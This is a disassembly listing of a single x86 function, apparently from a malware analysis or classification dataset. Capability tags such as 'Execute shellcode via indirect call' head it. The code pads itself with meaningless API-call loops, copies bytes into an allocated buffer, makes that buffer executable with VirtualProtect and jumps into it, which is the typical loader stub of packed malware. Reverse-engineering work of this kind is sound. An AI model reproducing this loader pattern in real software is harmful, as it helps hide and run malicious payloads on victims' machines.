Function at 0x401553
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get disk information
Get hostname
Read file on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x150c
call fcn.0040c730
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x401581
inc esi
cmp esi, 0x4f672
jl 0x40156d
mov ecx, dword [0x476508]
cmp ecx, 0x93
je 0x401780
mov eax, dword [0x41a3e0]
add ecx, 0x1134b
push ecx
push ebx
mov dword [0x47650c], eax
mov dword [0x476508], ecx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 8]
mov dword [0x475f94], eax
push ecx
push 0x40
push dword [0x476508]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov esi, 0x14b002e
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetMenuItemID]
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetTickCount]
dec esi
jne 0x4015ce
mov edx, dword [0x476508]
mov esi, ebx
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
test edx, edx
je 0x40166a
mov eax, dword [0x47650c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x475f94]
mov byte [eax + esi], cl
cmp edx, 0x490
jne 0x401665
push 0
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
push 0
push str.keyamixemeligowejokawe_pidoterulimicu
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrA]
push str.vimidago
call ebx
push 0
lea eax, [ebp - 0x908]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0
lea eax, [ebp - 0x1508]
push eax
push str.kayofumecezidacedukurevumak
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
mov edx, dword [0x476508]
inc esi
cmp esi, edx
jb 0x4015f4
xor esi, esi
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4016b4
push str.jijuvedobijawirod_cexolumaniyejavahafoki_tifasupuc_nap_wiyeguxebowejuxivolopiyezeyonif
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameExW]
xor ecx, ecx
lea eax, [ebp - 4]
push ecx
push eax
push ecx
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_WriteConsoleA]
push 0
push 0
push str.fecuxozovo
call dword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor eax, eax
push eax
push eax
push eax
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
mov edx, dword [0x476508]
inc esi
cmp esi, 0x38681
jl 0x40166c
push ecx
call fcn.00401510
xor esi, esi
push 0
call edi
cmp esi, 0x62
jne 0x4016d3
call fcn.00401537
inc esi
cmp esi, 0x674db
jl 0x4016c5
push 0x7b
pop esi
cmp dword [0x476508], 0x86
jne 0x40174a
xor eax, eax
lea edi, [ebp - 0x36]
mov word [ebp - 0x38], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
xor eax, eax
mov word [ebp - 0x28], ax
lea edi, [ebp - 0x26]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x28]
push eax
lea eax, [ebp - 0x38]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToTzSpecificLocalTime]
xor edi, edi
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
lea eax, [ebp - 0x54]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0xd08]
push eax
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
jmp 0x40174c
xor edi, edi
cmp dword [0x476508], 0xf
jne 0x40175f
push edi
push edi
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateEventW]
dec esi
jne 0x4016df
push str.msimg32.dll
call ebx
mov eax, dword [0x475f94]
mov dword [0x4764fc], eax
call eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push ebx
push ebx
call dword [sym.imp.USER32.dll_ChangeDisplaySettingsW]
push str.tajek
push ebx
xor eax, eax
push ebx
push ebx
btr dword [eax], 0
call dword [sym.imp.KERNEL32.dll_CreateEventW]
push dword [ebp - 8]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.MSIMG32.dll_AlphaBlend]
push ebx
push ebx
call dword [sym.imp.ole32.dll_CoMarshalHresult]
push 0x4177a4
push ebx
call fcn.0040354c
push ebx
call fcn.004029e6
push ebx
push ebx
push ebx
push ebx
call fcn.00403726
add esp, 0x1c
push ebx
call fcn.00403e2a
int3